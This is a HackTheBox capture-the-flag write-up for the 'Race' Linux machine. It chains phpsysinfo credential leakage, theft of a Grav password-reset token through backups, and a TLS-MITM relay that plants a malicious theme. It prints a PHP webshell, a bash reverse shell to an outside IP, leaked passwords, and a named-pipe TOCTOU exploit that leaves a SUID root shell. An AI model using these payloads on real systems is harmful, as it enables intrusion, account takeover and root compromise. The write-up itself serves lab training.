HTB: Race Writeup

Race - HackTheBox Writeup

Machine Information

AttributeDetails
NameRace
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.234.209
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Race is a hard Linux box built around a Grav CMS deployment behind an internet-cut-off web server. A phpsysinfo monitoring endpoint, left behind weak Basic Auth, leaked hardcoded Grav admin credentials in its process listing. Those credentials belonged to a low-privilege Grav user whose only real power was triggering site backups — but that “only” was enough: backups exposed the full user database, including a stale password-reset token for a higher-privileged user. By racing a fresh password-reset request against a fresh backup, the reset token could be captured live and used to hijack that account before the real user ever saw it. From there, theme/plugin installation combined with a forced outbound proxy setting gave a path to RCE by man-in-the-middling Grav’s own package-manager traffic and swapping in a malicious theme archive. Post-exploitation revealed a hardcoded SSH password in a backup script, and privilege escalation to root exploited a classic TOCTOU race in a cron-driven integrity check, using a named pipe to stall md5sum mid-hash while the checked file was swapped underneath it.

TL;DR: Weak Basic Auth on phpsysinfo → leaked Grav backup account creds → abused Grav’s backup feature to steal a fresh password-reset token for patrick → account takeover → forced Grav’s package manager through an attacker-controlled TLS-MITM proxy → malicious theme upload → RCE as www-data → hardcoded max password in a backup script → SSH as max → TOCTOU race against a root cron job’s MD5 integrity check using a named pipe → SUID bash → root.


Reconnaissance

Port Scanning

Initial connectivity checks against the target (routed through a jump host) confirmed two open ports:

Terminal window
# Quick TCP reachability check from the jump box
nc -zv -w3 10.129.234.209 22
nc -zv -w3 10.129.234.209 80

Results: 22/tcp (SSH) and 80/tcp (HTTP) open.

Service Enumeration

The web root served a Grav CMS site under /racers/, with an admin panel at /racers/admin. A phpsysinfo monitoring page was also present and protected with HTTP Basic Auth:

Terminal window
# Confirm the auth prompt on phpsysinfo
curl -s -i http://10.129.234.209/phpsysinfo | head -5

Weak credentials (admin:admin) authenticated successfully. phpsysinfo exposes system data via an XML backend, including a “Process Status” panel that lists running processes — in this case, a curl command containing hardcoded Grav credentials:

Terminal window
# Pull the phpsysinfo XML feed and grep for leaked secrets
curl -s -u admin:admin "http://10.129.234.209/phpsysinfo/xml.php?plugin=complete" \
| grep -aiE "backup|curl|password|secur"

Leaked credentials: backup:Wedobackupswithsecur3password5.Noonecanhackus!

Vulnerability Assessment

  • Weak Basic Auth on an internal monitoring tool (phpsysinfo) exposed to the public web root.
  • Process-list credential leakage — a backup curl invocation with inline credentials, visible to anyone who can reach phpsysinfo.
  • Grav CMS backup feature available to a low-privilege account, allowing full site-content exfiltration including the user/accounts/*.yaml files (password hashes and reset tokens).
  • Password-reset token race condition — Grav writes the reset token to the user’s YAML file before delivering it out-of-band. Anyone able to take a backup can read that token mid-flight.
  • Outbound proxy configurable + theme/plugin installation on patrick’s elevated Grav account, with the box air-gapped from the real GPM (Grav Package Manager) — meaning all package-manager traffic could be forced through an attacker-controlled host.

Initial Foothold

Exploitation Path

1. Log into Grav admin with leaked backup credentials.

Terminal window
# Fetch login page for the CSRF/login nonce, then authenticate
LP=$(curl -s -c /tmp/grav_cj "http://10.129.234.209/racers/admin")
NONCE=$(echo "$LP" | grep -oE 'login-nonce" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
curl -s -b /tmp/grav_cj -c /tmp/grav_cj \
--data-urlencode "username=backup" \
--data-urlencode "password=Wedobackupswithsecur3password5.Noonecanhackus!" \
--data-urlencode "login-nonce=$NONCE" \
"http://10.129.234.209/racers/admin"

The backup account has one meaningful capability in the dashboard: triggering and downloading site backups.

2. Take a backup and extract the account YAML files.

Terminal window
# Trigger the backup task (Grav backup endpoint requires the admin-nonce)
curl -s -b /tmp/grav_cj -c /tmp/grav_cj \
"http://10.129.234.209/racers/admin/task:backup?admin-nonce=$NONCE"
# Download and extract just the accounts directory
unzip -oq /tmp/bk1.zip "user/accounts/*.yaml" -d /tmp/acc
cat /tmp/acc/user/accounts/patrick.yaml

This confirmed patrick as a privileged account, but the reset: token embedded in the YAML was stale (from a previous, long-expired reset request) — not directly usable.

3. Race a fresh password-reset request against a fresh backup.

Grav’s forgot flow writes a fresh reset token into the user’s YAML before the notification goes out. Triggering forgot anonymously and immediately re-taking a backup captures that token before it ever needs to reach an inbox:

Terminal window
# Step 1: submit anonymous forgot-password request for patrick
FP=$(curl -s -c /tmp/anon_cj "http://10.129.234.209/racers/admin/forgot")
LOGIN_NONCE=$(echo "$FP" | grep -oE 'login-nonce" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
curl -s -b /tmp/anon_cj -c /tmp/anon_cj \
--data-urlencode "data[username]=patrick" \
--data-urlencode "login-nonce=$LOGIN_NONCE" \
--data-urlencode "task=forgot" \
"http://10.129.234.209/racers/admin/forgot"
# Step 2: immediately take another backup as the `backup` user
curl -s -b /tmp/grav_cj -c /tmp/grav_cj \
"http://10.129.234.209/racers/admin/task:backup?admin-nonce=$NONCE"
# Step 3: pull the fresh reset token
unzip -oq /tmp/bk_fresh.zip "user/accounts/patrick.yaml" -d /tmp/acc2
grep "reset:" /tmp/acc2/user/accounts/patrick.yaml

4. Consume the reset token to hijack patrick’s account.

Grav’s LoginController builds reset links as /racers/admin/reset/u/{username}/{token}. Visiting that URL with a valid nonce and a new password takes over the account — subject to Grav’s pwd_regex, which required a 32+ character password:

Terminal window
# Fetch the reset form to obtain a fresh nonce, then submit the new password
RP=$(curl -s -c /tmp/anon_cj2 "http://10.129.234.209/racers/admin/reset/u/patrick/$TOKEN")
RESET_NONCE=$(echo "$RP" | grep -oE 'login-nonce" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
curl -s -b /tmp/anon_cj2 -c /tmp/anon_cj2 \
--data-urlencode "username=patrick" \
--data-urlencode "password=Th1sIsAVeryLongReplacementPasswordForPatrick32Chars!" \
--data-urlencode "password_confirm=Th1sIsAVeryLongReplacementPasswordForPatrick32Chars!" \
--data-urlencode "login-nonce=$RESET_NONCE" \
"http://10.129.234.209/racers/admin/reset/u/patrick/$TOKEN"

Logging in as patrick unlocked a much larger dashboard: theme installation, plugin installation, and system configuration — including the outbound HTTP proxy setting.

5. Achieve RCE via a TLS-MITM proxy against the Grav Package Manager.

The target host had no direct internet access, so Grav’s plugin/theme installer fetches packages through a configurable proxy (system.http.proxy_url). Pointing that setting at an attacker-controlled host — with TLS verification disabled — put every GPM request through infrastructure the attacker fully controlled:

# Simplified sketch of the TLS-MITM relay used in place of Burp Suite:
# - Terminates TLS for the Grav server's outbound GPM requests
# - Transparently relays legitimate index/API calls to the real GPM
# - Intercepts the download response for the requested theme package
# and substitutes a malicious archive instead
import ssl, http.server, urllib.request
class MITMHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if "photographer" in self.path and "download" in self.path:
# Serve the malicious theme zip instead of the real package
with open("evil_photographer.zip", "rb") as f:
data = f.read()
self.send_response(200)
self.send_header("Content-Type", "application/zip")
self.end_headers()
self.wfile.write(data)
else:
# Relay everything else untouched to the real GPM index
real = urllib.request.urlopen("https://getgrav.org" + self.path)
self.send_response(real.status)
self.end_headers()
self.wfile.write(real.read())

The malicious theme archive contained a photographer-style theme with:

<!-- img/cmd.php - simple GET-based webshell -->
<?php echo system($_GET['0']); ?>
# img/.htaccess - disable Apache rewrite so the webshell is served as-is
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>

Triggering the theme install from patrick’s dashboard caused Grav to fetch the package through the MITM proxy, unpack the malicious archive, and drop cmd.php directly into the web root:

Terminal window
# Confirm code execution
curl "http://10.129.234.209/racers/user/themes/photographer/img/cmd.php?0=id"
# → www-data
# Upgrade to an interactive reverse shell
curl "http://10.129.234.209/racers/user/themes/photographer/img/cmd.php?0=$(python3 -c "
import urllib.parse
print(urllib.parse.quote('bash -c \"bash -i >& /dev/tcp/10.10.15.68/4444 0>&1\"'))
")"

Caught the callback and got a shell as www-data.


Privilege Escalation

www-data → max

Inside the web application’s backup tooling was a script referencing an offsite SFTP sync, offsite-backup.sh, with max’s SSH password hardcoded:

Terminal window
# offsite-backup.sh excerpt (found under the app's script directory)
OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
OFFSITE_USER="max"
OFFSITE_PASS="ruxai0GaemaS1Rah"
Terminal window
# SSH in as max using the harvested credential
sshpass -p 'ruxai0GaemaS1Rah' ssh max@10.129.234.209

user.txt was readable from max’s home directory.

max → root (TOCTOU race via named pipe)

A root-owned cron job periodically ran a “secure” runner that MD5-checks a set of scripts before executing them — a classic CWE-367 (Time-of-check Time-of-use race condition):

Terminal window
# secure-cron-runner.sh (conceptual — root cron job)
for j in "${!scripts[@]}"; do
sig=$(/usr/bin/md5sum "${scripts[$j]}" | awk '{print $1}')
if [[ "$sig" == "${sigs[$j]}" ]]; then
"${scripts[$j]}" # executed if hash matches, as root
fi
done

Critically, offsite-backup.sh lived in a directory writable by the racers group, of which max was a member — meaning the file being hashed and the file being executed were both attacker-controllable between the check and the use.

The exploit stalls md5sum mid-read using a named pipe, so the process is committed to hashing the original (trusted) content, while the executed file is swapped to something malicious before the pipe is fed the rest of its bytes:

Terminal window
# 1. Replace the target script with a FIFO so md5sum blocks reading it
mv offsite-backup.sh offsite-backup.sh.bak
mknod offsite-backup.sh p
# 2. Wait for the cron job to open the pipe and start reading (md5sum blocks)
# -- confirmed by watching for a new md5sum process against this path
# 3. While md5sum is blocked mid-read, swap the pipe out and drop in the
# malicious payload under the SAME filename the runner will execute
mv offsite-backup.sh s
cat > offsite-backup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/hello
chmod 6777 /tmp/hello
EOF
chmod +x offsite-backup.sh
# 4. Feed md5sum the ORIGINAL trusted bytes via the renamed pipe so the
# hash check still passes, then let it finish
cat offsite-backup.sh.bak >> s

Because md5sum had already opened the FIFO and was blocked waiting for data, feeding it the original script’s bytes made it compute the expected MD5 — passing the integrity check. But by the time secure-cron-runner.sh actually executed offsite-backup.sh (a fresh call, reopening the path), the filename now pointed at the malicious payload instead. Since leftover blocked md5sum processes could linger across attempts, tracking newly-spawned PIDs was necessary to reliably synchronize the swap with the current cron invocation.

Terminal window
# Verify the SUID binary was dropped by root
ls -la /tmp/hello
# -rwsrwsrwx 1 root root ... /tmp/hello
# Get a root shell
/tmp/hello -p
id
# uid=1001(max) gid=1001(max) euid=0(root) egid=0(root) groups=0(root),1001(max),1002(racers)

root.txt was readable from /root/.


Attack Chain Summary

Weak Basic Auth (admin:admin) on phpsysinfo
→ Leaked Grav "backup" account credentials
→ Abused Grav backup feature to exfiltrate user/accounts/*.yaml
→ Raced anonymous "forgot password" request against a fresh backup
→ Captured live reset token for "patrick" (32+ char password required)
→ Account takeover on patrick (elevated Grav privileges)
→ Set malicious proxy_url + disabled TLS verification
→ TLS-MITM'd Grav Package Manager traffic
→ Delivered malicious theme (webshell + .htaccess bypass)
→ RCE as www-data
→ Hardcoded max SSH password in offsite-backup.sh
→ SSH as max → user.txt
→ TOCTOU race on root cron's MD5 integrity check
→ Named pipe stalled md5sum, swapped script post-check
→ SUID /tmp/hello dropped by root
→ root.txt

Tools Used

ToolPurpose
ncPort reachability checks, reverse shell catcher
curlHTTP/Basic-Auth interaction, Grav admin/task automation, webshell triggering
phpsysinfo (target-hosted)Credential-leak source via process listing
Grav CMS admin panelBackup extraction, password-reset abuse, theme/plugin install, proxy config
Custom Python TLS-MITM proxyIntercepted/relayed GPM traffic to deliver malicious theme package
Custom PHP webshell (cmd.php)Command execution inside the malicious theme
sshpass / sshAuthentication as max with harvested credentials
mknod (named pipes / FIFO)TOCTOU race exploitation against md5sum integrity check
md5sum (abused, not attacker tool)Target of the race condition

Key Learnings

Techniques Practiced

  • Basic-Auth credential leakage discovery via system-info endpoints.
  • Grav CMS admin exploitation: backup exfiltration, password-reset token race, account takeover.
  • Man-in-the-middling an application’s own outbound package manager to smuggle malicious packages onto an air-gapped host.
  • Webshell delivery via a themed/plugin archive with .htaccess rewrite suppression.
  • Credential harvesting from operational scripts (hardcoded SSH creds in a “safe” backup script).
  • Exploiting a TOCTOU race condition using named pipes to desynchronize a hash-check from the executed binary.

Lessons Learned

  1. Internal monitoring/diagnostic tools (phpsysinfo and similar) are frequently deployed with default or weak credentials and can leak far more than system stats — including operational secrets embedded in visible process arguments.
  2. Any feature that lets a low-privileged account read arbitrary application state (like “take a backup”) is effectively an authorization bypass if that state includes secrets such as password-reset tokens — the backup feature should be scoped or the sensitive data should never be included in exportable backups.
  3. Password-reset flows that persist tokens to disk/state before out-of-band delivery create a race window; anyone with read access to that state during the window can steal the token without ever touching the victim’s inbox.
  4. Air-gapping a host from the internet doesn’t help if the application still trusts an admin-configurable proxy for its “trusted” package manager traffic — that proxy setting is itself a privileged, exploitable trust boundary.
  5. MD5-based integrity checks performed as a distinct “check” step before a distinct “use” step are inherently vulnerable to TOCTOU races, especially when the checked path is writable by a lower-privileged group. File hashing and execution should be atomic (or the file should be immutable/root-owned only) to close this class of bug.
  6. Hardcoded credentials in “temporarily disabled for security” comments in scripts are still credentials — commenting out a variable assignment does not remove it from the file.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xEr3bus, “Race” — official HackTheBox writeup (machine author: jkr). Used for conceptual context on the Grav LoginController reset-link construction, the secure-cron-runner.sh MD5 integrity-check design, and the general TOCTOU/named-pipe exploitation technique. All IPs, credentials, commands, and outputs in this writeup reflect this engagement’s own live run, not the reference environment.